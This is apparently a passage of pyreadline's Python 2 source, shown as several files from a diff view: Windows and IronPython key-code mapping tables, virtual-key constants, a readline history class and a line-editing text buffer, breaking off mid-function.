#
# Distributed under the terms of the BSD License. The full license is in
# the file COPYING, distributed as part of this software.
#*****************************************************************************
import System
from common import validkey, KeyPress, make_KeyPress_from_keydescr
c32 = System.ConsoleKey
Shift = System.ConsoleModifiers.Shift
Control = System.ConsoleModifiers.Control
Alt = System.ConsoleModifiers.Alt
# table for translating virtual keys to X windows key symbols
code2sym_map = {#c32.CANCEL: u'Cancel',
c32.Backspace: u'BackSpace',
c32.Tab: u'Tab',
c32.Clear: u'Clear',
c32.Enter: u'Return',
# c32.Shift: u'Shift_L',
# c32.Control: u'Control_L',
# c32.Menu: u'Alt_L',
c32.Pause: u'Pause',
# c32.Capital: u'Caps_Lock',
c32.Escape: u'Escape',
# c32.Space: u'space',
c32.PageUp: u'Prior',
c32.PageDown: u'Next',
c32.End: u'End',
c32.Home: u'Home',
c32.LeftArrow: u'Left',
c32.UpArrow: u'Up',
c32.RightArrow: u'Right',
c32.DownArrow: u'Down',
c32.Select: u'Select',
c32.Print: u'Print',
c32.Execute: u'Execute',
# c32.Snapshot: u'Snapshot',
c32.Insert: u'Insert',
c32.Delete: u'Delete',
c32.Help: u'Help',
c32.F1: u'F1',
c32.F2: u'F2',
c32.F3: u'F3',
c32.F4: u'F4',
c32.F5: u'F5',
c32.F6: u'F6',
c32.F7: u'F7',
c32.F8: u'F8',
c32.F9: u'F9',
c32.F10: u'F10',
c32.F11: u'F11',
c32.F12: u'F12',
c32.F13: u'F13',
c32.F14: u'F14',
c32.F15: u'F15',
c32.F16: u'F16',
c32.F17: u'F17',
c32.F18: u'F18',
c32.F19: u'F19',
c32.F20: u'F20',
c32.F21: u'F21',
c32.F22: u'F22',
c32.F23: u'F23',
c32.F24: u'F24',
# c32.Numlock: u'Num_Lock,',
# c32.Scroll: u'Scroll_Lock',
# c32.Apps: u'VK_APPS',
# c32.ProcesskeY: u'VK_PROCESSKEY',
# c32.Attn: u'VK_ATTN',
# c32.Crsel: u'VK_CRSEL',
# c32.Exsel: u'VK_EXSEL',
# c32.Ereof: u'VK_EREOF',
# c32.Play: u'VK_PLAY',
# c32.Zoom: u'VK_ZOOM',
# c32.Noname: u'VK_NONAME',
# c32.Pa1: u'VK_PA1',
c32.OemClear: u'VK_OEM_CLEAR',
c32.NumPad0: u'NUMPAD0',
c32.NumPad1: u'NUMPAD1',
c32.NumPad2: u'NUMPAD2',
c32.NumPad3: u'NUMPAD3',
c32.NumPad4: u'NUMPAD4',
c32.NumPad5: u'NUMPAD5',
c32.NumPad6: u'NUMPAD6',
c32.NumPad7: u'NUMPAD7',
c32.NumPad8: u'NUMPAD8',
c32.NumPad9: u'NUMPAD9',
c32.Divide: u'Divide',
c32.Multiply: u'Multiply',
c32.Add: u'Add',
c32.Subtract: u'Subtract',
c32.Decimal: u'VK_DECIMAL'
}
# function to handle the mapping
def make_keysym(keycode):
try:
sym = code2sym_map[keycode]
except KeyError:
sym = u''
return sym
sym2code_map = {}
for code,sym in code2sym_map.iteritems():
sym2code_map[sym.lower()] = code
def key_text_to_keyinfo(keytext):
u'''Convert a GNU readline style textual description of a key to keycode with modifiers'''
if keytext.startswith('"'): # "
return keyseq_to_keyinfo(keytext[1:-1])
else:
return keyname_to_keyinfo(keytext)
def char_to_keyinfo(char, control=False, meta=False, shift=False):
vk = (ord(char))
if vk & 0xffff == 0xffff:
print u'VkKeyScan("%s") = %x' % (char, vk)
raise ValueError, u'bad key'
if vk & 0x100:
shift = True
if vk & 0x200:
control = True
if vk & 0x400:
meta = True
return (control, meta, shift, vk & 0xff)
def keyname_to_keyinfo(keyname):
control = False
meta = False
shift = False
while 1:
lkeyname = keyname.lower()
if lkeyname.startswith(u'control-'):
control = True
keyname = keyname[8:]
elif lkeyname.startswith(u'ctrl-'):
control = True
keyname = keyname[5:]
elif lkeyname.startswith(u'meta-'):
meta = True
keyname = keyname[5:]
elif lkeyname.startswith(u'alt-'):
meta = True
keyname = keyname[4:]
elif lkeyname.startswith(u'shift-'):
shift = True
keyname = keyname[6:]
else:
if len(keyname) > 1:
return (control, meta, shift, sym2code_map.get(keyname.lower(),u" "))
else:
return char_to_keyinfo(keyname, control, meta, shift)
def keyseq_to_keyinfo(keyseq):
res = []
control = False
meta = False
shift = False
while 1:
if keyseq.startswith(u'\\C-'):
control = True
keyseq = keyseq[3:]
elif keyseq.startswith(u'\\M-'):
meta = True
keyseq = keyseq[3:]
elif keyseq.startswith(u'\\e'):
res.append(char_to_keyinfo(u'\033', control, meta, shift))
control = meta = shift = False
keyseq = keyseq[2:]
elif len(keyseq) >= 1:
res.append(char_to_keyinfo(keyseq[0], control, meta, shift))
control = meta = shift = False
keyseq = keyseq[1:]
else:
return res[0]
def make_keyinfo(keycode, state):
control = False
meta =False
shift = False
return (control, meta, shift, keycode)
def make_KeyPress(char, state, keycode):
shift = bool(int(state) & int(Shift))
control = bool(int(state) & int(Control))
meta = bool(int(state) & int(Alt))
keyname = code2sym_map.get(keycode, u"").lower()
if control and meta: #equivalent to altgr so clear flags
control = False
meta = False
elif control:
char = str(keycode)
return KeyPress(char, shift, control, meta, keyname)

View file

@ -0,0 +1,133 @@
# -*- coding: utf-8 -*-
#*****************************************************************************
# Copyright (C) 2003-2006 Gary Bishop.
# Copyright (C) 2006 Jorgen Stenarson. <jorgen.stenarson@bostream.nu>
#
# Distributed under the terms of the BSD License. The full license is in
# the file COPYING, distributed as part of this software.
#*****************************************************************************
import winconstants as c32
from pyreadline.logger import log
from ctypes import windll
import ctypes
# table for translating virtual keys to X windows key symbols
from common import validkey, KeyPress, make_KeyPress_from_keydescr
code2sym_map = {c32.VK_CANCEL: u'cancel',
c32.VK_BACK: u'backspace',
c32.VK_TAB: u'tab',
c32.VK_CLEAR: u'clear',
c32.VK_RETURN: u'return',
c32.VK_SHIFT: u'shift_l',
c32.VK_CONTROL: u'control_l',
c32.VK_MENU: u'alt_l',
c32.VK_PAUSE: u'pause',
c32.VK_CAPITAL: u'caps_lock',
c32.VK_ESCAPE: u'escape',
c32.VK_SPACE: u'space',
c32.VK_PRIOR: u'prior',
c32.VK_NEXT: u'next',
c32.VK_END: u'end',
c32.VK_HOME: u'home',
c32.VK_LEFT: u'left',
c32.VK_UP: u'up',
c32.VK_RIGHT: u'right',
c32.VK_DOWN: u'down',
c32.VK_SELECT: u'select',
c32.VK_PRINT: u'print',
c32.VK_EXECUTE: u'execute',
c32.VK_SNAPSHOT: u'snapshot',
c32.VK_INSERT: u'insert',
c32.VK_DELETE: u'delete',
c32.VK_HELP: u'help',
c32.VK_F1: u'f1',
c32.VK_F2: u'f2',
c32.VK_F3: u'f3',
c32.VK_F4: u'f4',
c32.VK_F5: u'f5',
c32.VK_F6: u'f6',
c32.VK_F7: u'f7',
c32.VK_F8: u'f8',
c32.VK_F9: u'f9',
c32.VK_F10: u'f10',
c32.VK_F11: u'f11',
c32.VK_F12: u'f12',
c32.VK_F13: u'f13',
c32.VK_F14: u'f14',
c32.VK_F15: u'f15',
c32.VK_F16: u'f16',
c32.VK_F17: u'f17',
c32.VK_F18: u'f18',
c32.VK_F19: u'f19',
c32.VK_F20: u'f20',
c32.VK_F21: u'f21',
c32.VK_F22: u'f22',
c32.VK_F23: u'f23',
c32.VK_F24: u'f24',
c32.VK_NUMLOCK: u'num_lock,',
c32.VK_SCROLL: u'scroll_lock',
c32.VK_APPS: u'vk_apps',
c32.VK_PROCESSKEY: u'vk_processkey',
c32.VK_ATTN: u'vk_attn',
c32.VK_CRSEL: u'vk_crsel',
c32.VK_EXSEL: u'vk_exsel',
c32.VK_EREOF: u'vk_ereof',
c32.VK_PLAY: u'vk_play',
c32.VK_ZOOM: u'vk_zoom',
c32.VK_NONAME: u'vk_noname',
c32.VK_PA1: u'vk_pa1',
c32.VK_OEM_CLEAR: u'vk_oem_clear',
c32.VK_NUMPAD0: u'numpad0',
c32.VK_NUMPAD1: u'numpad1',
c32.VK_NUMPAD2: u'numpad2',
c32.VK_NUMPAD3: u'numpad3',
c32.VK_NUMPAD4: u'numpad4',
c32.VK_NUMPAD5: u'numpad5',
c32.VK_NUMPAD6: u'numpad6',
c32.VK_NUMPAD7: u'numpad7',
c32.VK_NUMPAD8: u'numpad8',
c32.VK_NUMPAD9: u'numpad9',
c32.VK_DIVIDE: u'divide',
c32.VK_MULTIPLY: u'multiply',
c32.VK_ADD: u'add',
c32.VK_SUBTRACT: u'subtract',
c32.VK_DECIMAL: u'vk_decimal'
}
VkKeyScan = windll.user32.VkKeyScanA
def char_to_keyinfo(char, control=False, meta=False, shift=False):
k=KeyPress()
vk = VkKeyScan(ord(char))
if vk & 0xffff == 0xffff:
print u'VkKeyScan("%s") = %x' % (char, vk)
raise ValueError, u'bad key'
if vk & 0x100:
k.shift = True
if vk & 0x200:
k.control = True
if vk & 0x400:
k.meta = True
k.char=chr(vk & 0xff)
return k
def make_KeyPress(char, state, keycode):
control = (state & (4+8)) != 0
meta = (state & (1+2)) != 0
shift = (state & 0x10) != 0
if control and not meta:#Matches ctrl- chords should pass keycode as char
char = chr(keycode)
elif control and meta: #Matches alt gr and should just pass on char
control = False
meta = False
try:
keyname=code2sym_map[keycode]
except KeyError:
keyname = u""
out = KeyPress(char, shift, control, meta, keyname)
return out
if __name__==u"__main__":
import startup

View file

@ -0,0 +1,171 @@
#This file contains constants that are normally found in win32all
#But included here to avoid the dependency
VK_LBUTTON=1
VK_RBUTTON=2
VK_CANCEL=3
VK_MBUTTON=4
VK_XBUTTON1=5
VK_XBUTTON2=6
VK_BACK=8
VK_TAB=9
VK_CLEAR=12
VK_RETURN=13
VK_SHIFT=16
VK_CONTROL=17
VK_MENU=18
VK_PAUSE=19
VK_CAPITAL=20
VK_KANA=0x15
VK_HANGEUL=0x15
VK_HANGUL=0x15
VK_JUNJA=0x17
VK_FINAL=0x18
VK_HANJA=0x19
VK_KANJI=0x19
VK_ESCAPE=0x1B
VK_CONVERT=0x1C
VK_NONCONVERT=0x1D
VK_ACCEPT=0x1E
VK_MODECHANGE=0x1F
VK_SPACE=32
VK_PRIOR=33
VK_NEXT=34
VK_END=35
VK_HOME=36
VK_LEFT=37
VK_UP=38
VK_RIGHT=39
VK_DOWN=40
VK_SELECT=41
VK_PRINT=42
VK_EXECUTE=43
VK_SNAPSHOT=44
VK_INSERT=45
VK_DELETE=46
VK_HELP=47
VK_LWIN=0x5B
VK_RWIN=0x5C
VK_APPS=0x5D
VK_SLEEP=0x5F
VK_NUMPAD0=0x60
VK_NUMPAD1=0x61
VK_NUMPAD2=0x62
VK_NUMPAD3=0x63
VK_NUMPAD4=0x64
VK_NUMPAD5=0x65
VK_NUMPAD6=0x66
VK_NUMPAD7=0x67
VK_NUMPAD8=0x68
VK_NUMPAD9=0x69
VK_MULTIPLY=0x6A
VK_ADD=0x6B
VK_SEPARATOR=0x6C
VK_SUBTRACT=0x6D
VK_DECIMAL=0x6E
VK_DIVIDE=0x6F
VK_F1=0x70
VK_F2=0x71
VK_F3=0x72
VK_F4=0x73
VK_F5=0x74
VK_F6=0x75
VK_F7=0x76
VK_F8=0x77
VK_F9=0x78
VK_F10=0x79
VK_F11=0x7A
VK_F12=0x7B
VK_F13=0x7C
VK_F14=0x7D
VK_F15=0x7E
VK_F16=0x7F
VK_F17=0x80
VK_F18=0x81
VK_F19=0x82
VK_F20=0x83
VK_F21=0x84
VK_F22=0x85
VK_F23=0x86
VK_F24=0x87
VK_NUMLOCK=0x90
VK_SCROLL=0x91
VK_LSHIFT=0xA0
VK_RSHIFT=0xA1
VK_LCONTROL=0xA2
VK_RCONTROL=0xA3
VK_LMENU=0xA4
VK_RMENU=0xA5
VK_BROWSER_BACK=0xA6
VK_BROWSER_FORWARD=0xA7
VK_BROWSER_REFRESH=0xA8
VK_BROWSER_STOP=0xA9
VK_BROWSER_SEARCH=0xAA
VK_BROWSER_FAVORITES=0xAB
VK_BROWSER_HOME=0xAC
VK_VOLUME_MUTE=0xAD
VK_VOLUME_DOWN=0xAE
VK_VOLUME_UP=0xAF
VK_MEDIA_NEXT_TRACK=0xB0
VK_MEDIA_PREV_TRACK=0xB1
VK_MEDIA_STOP=0xB2
VK_MEDIA_PLAY_PAUSE=0xB3
VK_LAUNCH_MAIL=0xB4
VK_LAUNCH_MEDIA_SELECT=0xB5
VK_LAUNCH_APP1=0xB6
VK_LAUNCH_APP2=0xB7
VK_OEM_1=0xBA
VK_OEM_PLUS=0xBB
VK_OEM_COMMA=0xBC
VK_OEM_MINUS=0xBD
VK_OEM_PERIOD=0xBE
VK_OEM_2=0xBF
VK_OEM_3=0xC0
VK_OEM_4=0xDB
VK_OEM_5=0xDC
VK_OEM_6=0xDD
VK_OEM_7=0xDE
VK_OEM_8=0xDF
VK_OEM_102=0xE2
VK_PROCESSKEY=0xE5
VK_PACKET=0xE7
VK_ATTN=0xF6
VK_CRSEL=0xF7
VK_EXSEL=0xF8
VK_EREOF=0xF9
VK_PLAY=0xFA
VK_ZOOM=0xFB
VK_NONAME=0xFC
VK_PA1=0xFD
VK_OEM_CLEAR=0xFE
CF_TEXT=1
CF_BITMAP=2
CF_METAFILEPICT=3
CF_SYLK=4
CF_DIF=5
CF_TIFF=6
CF_OEMTEXT=7
CF_DIB=8
CF_PALETTE=9
CF_PENDATA=10
CF_RIFF=11
CF_WAVE=12
CF_UNICODETEXT=13
CF_ENHMETAFILE=14
CF_HDROP=15
CF_LOCALE=16
CF_MAX=17
CF_OWNERDISPLAY=128
CF_DSPTEXT=129
CF_DSPBITMAP=130
CF_DSPMETAFILEPICT=131
CF_DSPENHMETAFILE=142
CF_PRIVATEFIRST=512
CF_PRIVATELAST=767
CF_GDIOBJFIRST=768
CF_GDIOBJLAST=1023
GPTR=64
GHND=66

View file

@ -0,0 +1,264 @@
# -*- coding: utf-8 -*-
#*****************************************************************************
# Copyright (C) 2006 Jorgen Stenarson. <jorgen.stenarson@bostream.nu>
#
# Distributed under the terms of the BSD License. The full license is in
# the file COPYING, distributed as part of this software.
#*****************************************************************************
import re, operator,string, sys,os
from pyreadline.unicode_helper import ensure_unicode, ensure_str
if u"pyreadline" in sys.modules:
pyreadline = sys.modules[u"pyreadline"]
else:
import pyreadline
import lineobj
import exceptions
class EscapeHistory(exceptions.Exception):
pass
from pyreadline.logger import log
class LineHistory(object):
def __init__(self):
self.history = []
self._history_length = 100
self._history_cursor = 0
self.history_filename = os.path.expanduser('~/.history') #Cannot expand unicode strings correctly on python2.4
self.lastcommand = None
self.query = u""
self.last_search_for = u""
def get_current_history_length(self):
u'''Return the number of lines currently in the history.
(This is different from get_history_length(), which returns
the maximum number of lines that will be written to a history file.)'''
value = len(self.history)
log(u"get_current_history_length:%d"%value)
return value
def get_history_length(self):
u'''Return the desired length of the history file. Negative values imply
unlimited history file size.'''
value = self._history_length
log(u"get_history_length:%d"%value)
return value
def get_history_item(self, index):
u'''Return the current contents of history item at index (starts with index 1).'''
item = self.history[index - 1]
log(u"get_history_item: index:%d item:%r"%(index, item))
return item.get_line_text()
def set_history_length(self, value):
log(u"set_history_length: old:%d new:%d"%(self._history_length, value))
self._history_length = value
def get_history_cursor(self):
value = self._history_cursor
log(u"get_history_cursor:%d"%value)
return value
def set_history_cursor(self, value):
log(u"set_history_cursor: old:%d new:%d"%(self._history_cursor, value))
self._history_cursor = value
history_length = property(get_history_length, set_history_length)
history_cursor = property(get_history_cursor, set_history_cursor)
def clear_history(self):
u'''Clear readline history.'''
self.history[:] = []
self.history_cursor = 0
def read_history_file(self, filename=None):
u'''Load a readline history file.'''
if filename is None:
filename = self.history_filename
try:
for line in open(filename, u'r'):
self.add_history(lineobj.ReadLineTextBuffer(ensure_unicode(line.rstrip())))
except IOError:
self.history = []
self.history_cursor = 0
def write_history_file(self, filename = None):
u'''Save a readline history file.'''
if filename is None:
filename = self.history_filename
fp = open(filename, u'wb')
for line in self.history[-self.history_length:]:
fp.write(ensure_str(line.get_line_text()))
fp.write(u'\n')
fp.close()
def add_history(self, line):
u'''Append a line to the history buffer, as if it was the last line typed.'''
if not hasattr(line, "get_line_text"):
line = lineobj.ReadLineTextBuffer(line)
if not line.get_line_text():
pass
elif len(self.history) > 0 and self.history[-1].get_line_text() == line.get_line_text():
pass
else:
self.history.append(line)
self.history_cursor = len(self.history)
def previous_history(self, current): # (C-p)
u'''Move back through the history list, fetching the previous command. '''
if self.history_cursor == len(self.history):
self.history.append(current.copy()) #do not use add_history since we do not want to increment cursor
if self.history_cursor > 0:
self.history_cursor -= 1
current.set_line(self.history[self.history_cursor].get_line_text())
current.point = lineobj.EndOfLine
def next_history(self, current): # (C-n)
u'''Move forward through the history list, fetching the next command. '''
if self.history_cursor < len(self.history) - 1:
self.history_cursor += 1
current.set_line(self.history[self.history_cursor].get_line_text())
def beginning_of_history(self): # (M-<)
u'''Move to the first line in the history.'''
self.history_cursor = 0
if len(self.history) > 0:
self.l_buffer = self.history[0]
def end_of_history(self, current): # (M->)
u'''Move to the end of the input history, i.e., the line currently
being entered.'''
self.history_cursor = len(self.history)
current.set_line(self.history[-1].get_line_text())
def reverse_search_history(self, searchfor, startpos=None):
if startpos is None:
startpos = self.history_cursor
origpos = startpos
result = lineobj.ReadLineTextBuffer("")
for idx, line in list(enumerate(self.history))[startpos:0:-1]:
if searchfor in line:
startpos = idx
break
#If we get a new search without change in search term it means
#someone pushed ctrl-r and we should find the next match
if self.last_search_for == searchfor and startpos > 0:
startpos -= 1
for idx, line in list(enumerate(self.history))[startpos:0:-1]:
if searchfor in line:
startpos = idx
break
if self.history:
result = self.history[startpos].get_line_text()
else:
result = u""
self.history_cursor = startpos
self.last_search_for = searchfor
log(u"reverse_search_history: old:%d new:%d result:%r"%(origpos, self.history_cursor, result))
return result
def forward_search_history(self, searchfor, startpos=None):
if startpos is None:
startpos = min(self.history_cursor, max(0, self.get_current_history_length()-1))
origpos = startpos
result = lineobj.ReadLineTextBuffer("")
for idx, line in list(enumerate(self.history))[startpos:]:
if searchfor in line:
startpos = idx
break
#If we get a new search without change in search term it means
#someone pushed ctrl-r and we should find the next match
if self.last_search_for == searchfor and startpos < self.get_current_history_length()-1:
startpos += 1
for idx, line in list(enumerate(self.history))[startpos:]:
if searchfor in line:
startpos = idx
break
if self.history:
result = self.history[startpos].get_line_text()
else:
result = u""
self.history_cursor = startpos
self.last_search_for = searchfor
return result
def _search(self, direction, partial):
try:
if (self.lastcommand != self.history_search_forward and
self.lastcommand != self.history_search_backward):
self.query = u''.join(partial[0:partial.point].get_line_text())
hcstart = max(self.history_cursor,0)
hc = self.history_cursor + direction
while (direction < 0 and hc >= 0) or (direction > 0 and hc < len(self.history)):
h = self.history[hc]
if not self.query:
self.history_cursor = hc
result = lineobj.ReadLineTextBuffer(h, point=len(h.get_line_text()))
return result
elif (h.get_line_text().startswith(self.query) and (h != partial.get_line_text())):
self.history_cursor = hc
result = lineobj.ReadLineTextBuffer(h, point=partial.point)
return result
hc += direction
else:
if len(self.history) == 0:
pass
elif hc >= len(self.history) and not self.query:
self.history_cursor = len(self.history)
return lineobj.ReadLineTextBuffer(u"", point=0)
elif self.history[max(min(hcstart, len(self.history) - 1), 0)]\
.get_line_text().startswith(self.query) and self.query:
return lineobj.ReadLineTextBuffer(self.history\
[max(min(hcstart, len(self.history) - 1),0)],
point = partial.point)
else:
return lineobj.ReadLineTextBuffer(partial,
point=partial.point)
return lineobj.ReadLineTextBuffer(self.query,
point=min(len(self.query),
partial.point))
except IndexError:
raise
def history_search_forward(self, partial): # ()
u'''Search forward through the history for the string of characters
between the start of the current line and the point. This is a
non-incremental search. By default, this command is unbound.'''
q= self._search(1, partial)
return q
def history_search_backward(self, partial): # ()
u'''Search backward through the history for the string of characters
between the start of the current line and the point. This is a
non-incremental search. By default, this command is unbound.'''
q= self._search(-1, partial)
return q
if __name__==u"__main__":
import pdb
q = LineHistory()
r = LineHistory()
s = LineHistory()
RL = lineobj.ReadLineTextBuffer
q.add_history(RL(u"aaaa"))
q.add_history(RL(u"aaba"))
q.add_history(RL(u"aaca"))
q.add_history(RL(u"akca"))
q.add_history(RL(u"bbb"))
q.add_history(RL(u"ako"))
r.add_history(RL(u"ako"))

View file

@ -0,0 +1,799 @@
# -*- coding: utf-8 -*-
#*****************************************************************************
# Copyright (C) 2006 Jorgen Stenarson. <jorgen.stenarson@bostream.nu>
#
# Distributed under the terms of the BSD License. The full license is in
# the file COPYING, distributed as part of this software.
#*****************************************************************************
import re, operator, sys
import wordmatcher
import pyreadline.clipboard as clipboard
from pyreadline.logger import log
from pyreadline.unicode_helper import ensure_unicode
kill_ring_to_clipboard = False #set to true to copy every addition to kill ring to clipboard
class NotAWordError(IndexError):
pass
def quote_char(c):
if ord(c) > 0:
return c
############## Line positioner ########################
class LinePositioner(object):
def __call__(self, line):
NotImplementedError(u"Base class !!!")
class NextChar(LinePositioner):
def __call__(self, line):
if line.point < len(line.line_buffer):
return line.point + 1
else:
return line.point
NextChar = NextChar()
class PrevChar(LinePositioner):
def __call__(self, line):
if line.point > 0:
return line.point - 1
else:
return line.point
PrevChar = PrevChar()
class NextWordStart(LinePositioner):
def __call__(self, line):
return line.next_start_segment(line.line_buffer, line.is_word_token)[line.point]
NextWordStart = NextWordStart()
class NextWordEnd(LinePositioner):
def __call__(self, line):
return line.next_end_segment(line.line_buffer, line.is_word_token)[line.point]
NextWordEnd = NextWordEnd()
class PrevWordStart(LinePositioner):
def __call__(self, line):
return line.prev_start_segment(line.line_buffer, line.is_word_token)[line.point]
PrevWordStart = PrevWordStart()
class WordStart(LinePositioner):
def __call__(self, line):
if line.is_word_token(line.get_line_text()[Point(line):Point(line) + 1]):
if Point(line) > 0 and line.is_word_token(line.get_line_text()[Point(line) - 1:Point(line)]):
return PrevWordStart(line)
else:
return line.point
else:
raise NotAWordError(u"Point is not in a word")
WordStart = WordStart()
class WordEnd(LinePositioner):
def __call__(self, line):
if line.is_word_token(line.get_line_text()[Point(line):Point(line) + 1]):
if line.is_word_token(line.get_line_text()[Point(line) + 1:Point(line) + 2]):
return NextWordEnd(line)
else:
return line.point
else:
raise NotAWordError(u"Point is not in a word")
WordEnd = WordEnd()
class PrevWordEnd(LinePositioner):
def __call__(self, line):
return line.prev_end_segment(line.line_buffer, line.is_word_token)[line.point]
PrevWordEnd = PrevWordEnd()
class PrevSpace(LinePositioner):
def __call__(self, line):
point = line.point
if line[point - 1:point].get_line_text() == u" ":
while point > 0 and line[point - 1:point].get_line_text() == u" ":
point -= 1
while point > 0 and line[point - 1:point].get_line_text() != u" ":
point -= 1
return point
PrevSpace = PrevSpace()
class StartOfLine(LinePositioner):
def __call__(self, line):
return 0
StartOfLine = StartOfLine()
class EndOfLine(LinePositioner):
def __call__(self, line):
return len(line.line_buffer)
EndOfLine = EndOfLine()
class Point(LinePositioner):
def __call__(self, line):
return line.point
Point = Point()
class Mark(LinePositioner):
def __call__(self, line):
return line.mark
k = Mark()
all_positioners = [(value.__class__.__name__, value)
for key, value in globals().items()
if isinstance(value, LinePositioner)]
all_positioners.sort()
############### LineSlice #################
class LineSlice(object):
def __call__(self, line):
NotImplementedError(u"Base class !!!")
class CurrentWord(LineSlice):
def __call__(self, line):
return slice(WordStart(line), WordEnd(line), None)
CurrentWord = CurrentWord()
class NextWord(LineSlice):
def __call__(self, line):
work = TextLine(line)
work.point = NextWordStart
start = work.point
stop = NextWordEnd(work)
return slice(start, stop)
NextWord = NextWord()
class PrevWord(LineSlice):
def __call__(self, line):
work = TextLine(line)
work.point = PrevWordEnd
stop = work.point
start = PrevWordStart(work)
return slice(start, stop)
PrevWord = PrevWord()
class PointSlice(LineSlice):
def __call__(self, line):
return slice(Point(line), Point(line) + 1, None)
PointSlice = PointSlice()
############### TextLine ######################
class TextLine(object):
def __init__(self, txtstr, point = None, mark = None):
self.line_buffer = []
self._point = 0
self.mark = -1
self.undo_stack = []
self.overwrite = False
if isinstance(txtstr, TextLine): #copy
self.line_buffer = txtstr.line_buffer[:]
if point is None:
self.point = txtstr.point
else:
self.point = point
if mark is None:
self.mark = txtstr.mark
else:
self.mark = mark
else:
self._insert_text(txtstr)
if point is None:
self.point = 0
else:
self.point = point
if mark is None:
self.mark = -1
else:
self.mark = mark
self.is_word_token = wordmatcher.is_word_token
self.next_start_segment = wordmatcher.next_start_segment
self.next_end_segment = wordmatcher.next_end_segment
self.prev_start_segment = wordmatcher.prev_start_segment
self.prev_end_segment = wordmatcher.prev_end_segment
def push_undo(self):
ltext = self.get_line_text()
if self.undo_stack and ltext == self.undo_stack[-1].get_line_text():
self.undo_stack[-1].point = self.point
else:
self.undo_stack.append(self.copy())
def pop_undo(self):
if len(self.undo_stack) >= 2:
self.undo_stack.pop()
self.set_top_undo()
self.undo_stack.pop()
else:
self.reset_line()
self.undo_stack = []
def set_top_undo(self):
if self.undo_stack:
undo = self.undo_stack[-1]
self.line_buffer = undo.line_buffer
self.point = undo.point
self.mark = undo.mark
else:
pass
def __repr__(self):
return u'TextLine("%s",point=%s,mark=%s)'%(self.line_buffer, self.point, self.mark)
def copy(self):
return self.__class__(self)
def set_point(self,value):
if isinstance(value, LinePositioner):
value = value(self)
assert (value <= len(self.line_buffer))
if value > len(self.line_buffer):
value = len(self.line_buffer)
self._point = value
def get_point(self):
return self._point
point = property(get_point, set_point)
def visible_line_width(self, position = Point):
"""Return the visible width of the text in line buffer up to position."""
extra_char_width = len([ None for c in self[:position].line_buffer if 0x2013 <= ord(c) <= 0xFFFD])
return len(self[:position].quoted_text()) + self[:position].line_buffer.count(u"\t")*7 + extra_char_width
def quoted_text(self):
quoted = [ quote_char(c) for c in self.line_buffer ]
self.line_char_width = [ len(c) for c in quoted ]
return u''.join(map(ensure_unicode, quoted))
def get_line_text(self):
buf = self.line_buffer
buf = map(ensure_unicode, buf)
return u''.join(buf)
def set_line(self, text, cursor = None):
self.line_buffer = [ c for c in str(text) ]
if cursor is None:
self.point = len(self.line_buffer)
else:
self.point = cursor
def reset_line(self):
self.line_buffer = []
self.point = 0
def end_of_line(self):
self.point = len(self.line_buffer)
def _insert_text(self, text, argument=1):
text = text * argument
if self.overwrite:
for c in text:
#if self.point:
self.line_buffer[self.point] = c
self.point += 1
else:
for c in text:
self.line_buffer.insert(self.point, c)
self.point += 1
def __getitem__(self, key):
#Check if key is LineSlice, convert to regular slice
#and continue processing
if isinstance(key, LineSlice):
key = key(self)
if isinstance(key, slice):
if key.step is None:
pass
else:
raise Error
if key.start is None:
start = StartOfLine(self)
elif isinstance(key.start,LinePositioner):
start = key.start(self)
else:
start = key.start
if key.stop is None:
stop = EndOfLine(self)
elif isinstance(key.stop, LinePositioner):
stop = key.stop(self)
else:
stop = key.stop
return self.__class__(self.line_buffer[start:stop], point=0)
elif isinstance(key, LinePositioner):
return self.line_buffer[key(self)]
elif isinstance(key, tuple):
raise IndexError(u"Cannot use step in line buffer indexing") #Multiple slice not allowed
else:
# return TextLine(self.line_buffer[key])
return self.line_buffer[key]
def __delitem__(self, key):
point = self.point
if isinstance(key, LineSlice):
key = key(self)
if isinstance(key, slice):
start = key.start
stop = key.stop
if isinstance(start, LinePositioner):
start = start(self)
elif start is None:
start=0
if isinstance(stop, LinePositioner):
stop = stop(self)
elif stop is None:
stop = EndOfLine(self)
elif isinstance(key, LinePositioner):
start = key(self)
stop = start + 1
else:
start = key
stop = key + 1
prev = self.line_buffer[:start]
rest = self.line_buffer[stop:]
self.line_buffer = prev + rest
if point > stop:
self.point = point - (stop - start)
elif point >= start and point <= stop:
self.point = start
def __setitem__(self, key, value):
if isinstance(key, LineSlice):
key = key(self)
if isinstance(key, slice):
start = key.start
stop = key.stop
elif isinstance(key, LinePositioner):
start = key(self)
stop = start + 1
else:
start = key
stop = key + 1
prev = self.line_buffer[:start]
value = self.__class__(value).line_buffer
rest = self.line_buffer[stop:]
out = prev + value + rest
if len(out) >= len(self):
self.point = len(self)
self.line_buffer = out
def __len__(self):
return len(self.line_buffer)
def upper(self):
self.line_buffer = [x.upper() for x in self.line_buffer]
return self
def lower(self):
self.line_buffer = [x.lower() for x in self.line_buffer]
return self
def capitalize(self):
self.set_line(self.get_line_text().capitalize(), self.point)
return self
def startswith(self, txt):
return self.get_line_text().startswith(txt)
def endswith(self, txt):
return self.get_line_text().endswith(txt)
def __contains__(self, txt):
return txt in self.get_line_text()
lines = [TextLine(u"abc"),
TextLine(u"abc def"),
TextLine(u"abc def ghi"),
TextLine(u" abc def "),
]
l = lines[2]
l.point = 5
class ReadLineTextBuffer(TextLine):
def __init__(self,txtstr, point = None, mark = None):
super(ReadLineTextBuffer, self).__init__(txtstr, point, mark)
self.enable_win32_clipboard = True
self.selection_mark = -1
self.enable_selection = True
self.kill_ring = []
def __repr__(self):
return u'ReadLineTextBuffer'\
u'("%s",point=%s,mark=%s,selection_mark=%s)'%\
(self.line_buffer, self.point, self.mark,self.selection_mark)
def insert_text(self, char, argument=1):
self.delete_selection()
self.selection_mark = -1
self._insert_text(char, argument)
def to_clipboard(self):
if self.enable_win32_clipboard:
clipboard.set_clipboard_text(self.get_line_text())
######### Movement
def beginning_of_line(self):
self.selection_mark = -1
self.point = StartOfLine
def end_of_line(self):
self.selection_mark = -1
self.point = EndOfLine
def forward_char(self,argument = 1):
if argument < 0:
self.backward_char(-argument)
self.selection_mark = -1
for x in range(argument):
self.point = NextChar
def backward_char(self, argument=1):
if argument < 0:
self.forward_char(-argument)
self.selection_mark = -1
for x in range(argument):
self.point = PrevChar
def forward_word(self,argument=1):
if argument<0:
self.backward_word(-argument)
self.selection_mark=-1
for x in range(argument):
self.point = NextWordStart
def backward_word(self, argument=1):
if argument < 0:
self.forward_word(-argument)
self.selection_mark = -1
for x in range(argument):
self.point = PrevWordStart
def forward_word_end(self, argument=1):
if argument < 0:
self.backward_word_end(-argument)
self.selection_mark = -1
for x in range(argument):
